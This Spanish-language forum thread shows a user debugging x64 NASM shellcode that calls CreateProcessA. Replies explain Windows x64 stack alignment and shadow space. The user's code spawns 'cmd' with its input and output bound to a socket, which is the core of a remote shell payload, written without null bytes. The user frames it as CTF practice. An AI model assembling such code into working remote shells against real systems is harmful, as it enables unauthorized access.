Problema con CreateProcessA en nasm.

Iniciado por otroWeyMas.nasm, 21 Noviembre 2021, 19:19 PM

0 Miembros y 1 Visitante están viendo este tema.

otroWeyMas.nasm

Hola.

Tengo un problema tratando de usar CreateProcessA en nasm, he estado intentando hacerlo funcionar, pero no logro que se ejecute bien, primero lo intente de la siguiente manera.


mov r13, rdx  ;CreateProcessA

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor rdx, rdx
push rdi  ;socket
push rdi  ;socket
push rdi  ;socket
push rdx
push rdx
xor rax, rax
inc rax
rol rax, 8
push rax    ;0x00000100
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
xor rax, rax
add al, 44
push rax
xor r14, r14
mov r14, rsp ;STARTUPINFOA

xor r12, r12
sub rsp, 0x16
mov r12, rsp  ;ProcessInfo

sub rsp, 0x58 ;shadowspace

mov [rsp+72], r12 ;ProcessInfo
mov [rsp+64], r14 ;STARTUPINFOA
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15  ;cmd
xor rcx, rcx

call r13


Pero creo esta mal alineado entre ProcessInfo y el "shadowspace" que coloqué, la verdad no se si otra vez estoy pisando o borrando el stack, o incluso puede ser que el código este mal.

Bueno, así que lo hice de otra manera, que es la siguiente,

mov r13, rdx ;CreateProcessA

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor r12, r12
xor rcx, rcx
xor rdx, rdx
mov rcx, 0x80  ;espacio para STARTUPINFOA y ProcessInfo

lop_nul:
push rdx
loop lop_nul

xor rax, rax
mov al, 44

lea r12, [rsp]
mov [r12], dword eax ;STARTUPINFOA
mov [r12+4], rcx
mov [r12+12], rcx
mov [r12+20], rcx
mov [r12+24], rcx

xor rdx, rdx
mov dl, 255
inc rdx

mov [r12+0x3c], edx         ;0x00000100
mov [r12+0x50], rdi         ;socket
mov [r12+0x58], rdi         ;socket
mov [r12+0x60], rdi         ;socket


xor rdx, rdx

sub rsp, 0x58

lea r9, [r12]
mov [rsp+64], r9     ;STARTUPINFOA
lea r9, [r12+104]
mov [rsp+72], r9     ;ProcessInfo
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15     ;"cmd"
xor rcx, rcx

call r13


Creo esta mejor alineado, traté de abrir espacio para no pisar nada, pero igual tampoco funcionó, y ya nosé que más debo hacer, me cuesta trabajo alinear a 16 todo, pero no sé si sea eso, o esté mal algún parámetro o estoy pisando y/o borrando algo del stack... ya me bloqué.

Espero me puedan ayudar, para ya terminar esto y ponerme a estudiar más sobre seguridad con CTF's y retos, pero mi mente solo está pensando... "y si le sumo, y si le resto y si checo con mod en tal cosa y si cambio el registro" y es horrible  :xD jeje.

Bueno, saludos.

Eternal Idol

El entry point en Windows x64 esta alineado a 8 bytes. Teniendo en cuenta el ultimo codigo le estas restando 8 (primer push rdx), 0x400 - 0x80 * 8 - (push rdx dentro del loop) y 0x58 (sub rsp, 0x58). Un total de 0x460 y por lo tanto desalineado.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

otroWeyMas.nasm


Ok, si logro entender en donde esta desalineado, pero no consigo alinearlo y sigue crasheando esa parte en el debugger, ya intente modificarlo usando MOD en la calculadora, pero no lo consigo.

Espero me puedan ayudar otro poco o me puedan explicar como alinearlo, sino pues igual gracias por la respuesta.

Eternal Idol

#3
Sin usar ninguna variable local tenes que restarle 0x58 a la pila, eso es lo minimo indispensable. 0x20 para el shadow space, 0x30 para los parametros que necesita la funcion (son 10 en total, 4 en registros y 6 en pila, 6 * 8 = 0x30) y 8 para alinear la pila a 16.

No me voy a poner a hacer ese trabajo a mano para las variables locales pero aca tenes un ejemplo generado por VC++:
Código (asm) [Seleccionar]
 0000000000000000: 48 8B C4           mov         rax,rsp
 0000000000000003: 48 81 EC E8 00 00  sub         rsp,0E8h
                   00
 000000000000000A: 33 D2              xor         edx,edx
 000000000000000C: C7 40 08 63 6D 64  mov         dword ptr [rax+8],646D63h
                   00
 0000000000000013: 48 8D 48 8C        lea         rcx,[rax-74h]
 0000000000000017: 44 8D 42 64        lea         r8d,[rdx+64h]
 000000000000001B: E8 00 00 00 00     call        memset
 0000000000000020: 48 8D 44 24 50     lea         rax,[rsp+50h]
 0000000000000025: C7 44 24 70 68 00  mov         dword ptr [rsp+70h],68h
                   00 00
 000000000000002D: 48 89 44 24 48     mov         qword ptr [rsp+48h],rax
 0000000000000032: 48 8D 8C 24 F0 00  lea         rcx,[rsp+0F0h]
                   00 00
 000000000000003A: 48 8D 44 24 70     lea         rax,[rsp+70h]
 000000000000003F: 45 33 C9           xor         r9d,r9d
 0000000000000042: 48 89 44 24 40     mov         qword ptr [rsp+40h],rax
 0000000000000047: 45 33 C0           xor         r8d,r8d
 000000000000004A: 33 C0              xor         eax,eax
 000000000000004C: 33 D2              xor         edx,edx
 000000000000004E: 48 89 44 24 38     mov         qword ptr [rsp+38h],rax
 0000000000000053: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
 0000000000000058: 89 44 24 28        mov         dword ptr [rsp+28h],eax
 000000000000005C: C7 44 24 20 01 00  mov         dword ptr [rsp+20h],1
                   00 00
 0000000000000064: FF 15 00 00 00 00  call        qword ptr [__imp_CreateProcessA]
 000000000000006A: 33 C0              xor         eax,eax
 000000000000006C: 48 81 C4 E8 00 00  add         rsp,0E8h
                   00
 0000000000000073: C3                 ret


Al llamar a CreateProcessA en RSP + 0x20 arrancan los parametros (antes esta el shadow space), en RSP + 0x50 la estructura PROCESS_INFORMATION, en RSP + 0x70 la estructura STARTUPINFOA y en RSP + 0xF0 esta la cadena 'cmd\0'.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

otroWeyMas.nasm

Ok, lo voy a seguir revisando. Solo voy a mostrar algo que me di cuenta, tal vez no voy tan mal.

algo que note en el código de C++ fue...

rsp,0E8h

Eso significa que es un espacio de 0x58 + 0x90 = E8

Otra cosa que note es...

dword ptr [rsp+70h],68h

No me fije que le estaba asignando 44 pero debería ser 104 = 0x68

Fui siguiendo los registros con los mios y al parecer están bien, el único que me puso en duda es...

dword ptr [rsp+28h],eax

Pero igual el parametro siguiente es null, así que no veo que perjudique que yo le haya puesto...

mov [rsp+40], rdx

Pues bueno, así me quedó ahora

mov r13, rdx

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor r12, r12
xor rcx, rcx
xor rdx, rdx
mov rcx, 0x90

lop_nul:
push rdx
loop lop_nul

xor rax, rax
mov al, 0x68

lea r12, [rsp]
mov [r12], dword eax
mov [r12+4], rcx
mov [r12+12], rcx
mov [r12+20], rcx
mov [r12+24], rcx

xor rdx, rdx
mov dl, 255
inc rdx

mov [r12+0x3c], edx
mov [r12+0x50], rdi
mov [r12+0x58], rdi
mov [r12+0x60], rdi


xor rdx, rdx

sub rsp, 0x58

lea r9, [r12]
mov [rsp+64], r9
lea r9, [r12+104]
mov [rsp+72], r9
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15
xor rcx, rcx

call r13


Solo por curiosidad pase RCX de 0x78 hasta 0xa0, pero igual no se acomodó el stack xP.

Seguiré pensando que más puedo hacer. Gracias.


Eternal Idol

Ese 0x70 o 0xA0 esta muy pasado de los bytes necesarios para las 2 estructuras ya que estas empujando 8 bytes en cada iteracion del bucle. RCX deberia ser 0x10 (o simplemente restar 0x80) y despues deberias restarle 0x50 en lugar de 0x58.

Igual sinceramente no se que te impide acomodar la pila de una vez como hace el VC++.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

otroWeyMas.nasm

#6
No se rompan mucho la cabeza como yo, el problema es solo esto.

mov [r12+104], rcx <---
mov [r12+116], rcx <---
mov [r12+120], dword ecx <----
mov [r12+124], dword ecx <--- la suma de todo es 24


Seguiría 0x50 para el espacio, pero hay que sumar esos 24

sub rsp, 0x68  <----> 0x50  = rsp+80 + 24 = 0x68
xor r9, r9
lea r9, [r12+104]
mov [rsp+72], r9
lea r9, [r12]
mov [rsp+64], r9
mov [rsp+56], rcx
mov [rsp+48], rcx
mov [rsp+40], rcx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
xor rax, rax
call r13


Aquí en adelante es ProcessInfo.
lea r9, [r12+104]
mov [rsp+72], r9


que sería esta parte

mov [r12+104], rcx
mov [r12+116], rcx
mov [r12+120], dword ecx
mov [r12+124], dword ecx


Aquí en adelante es el inicio de STARTUPINFOA

lea r9, [r12]
mov [rsp+64], r9


Luego continua un par de null's, hasta InheritHandles = 1

siguen otros null, cmd, otro null y la ejecución de CreateProcessA.

Bueno... muchas gracias por la paciencia y la ayuda. Saludos.





Ya lo logré... después de varios intentos me di cuenta que algo no encajaba con ProcessInfo y el shadow space de CreateProcessA.

Ya funcionó.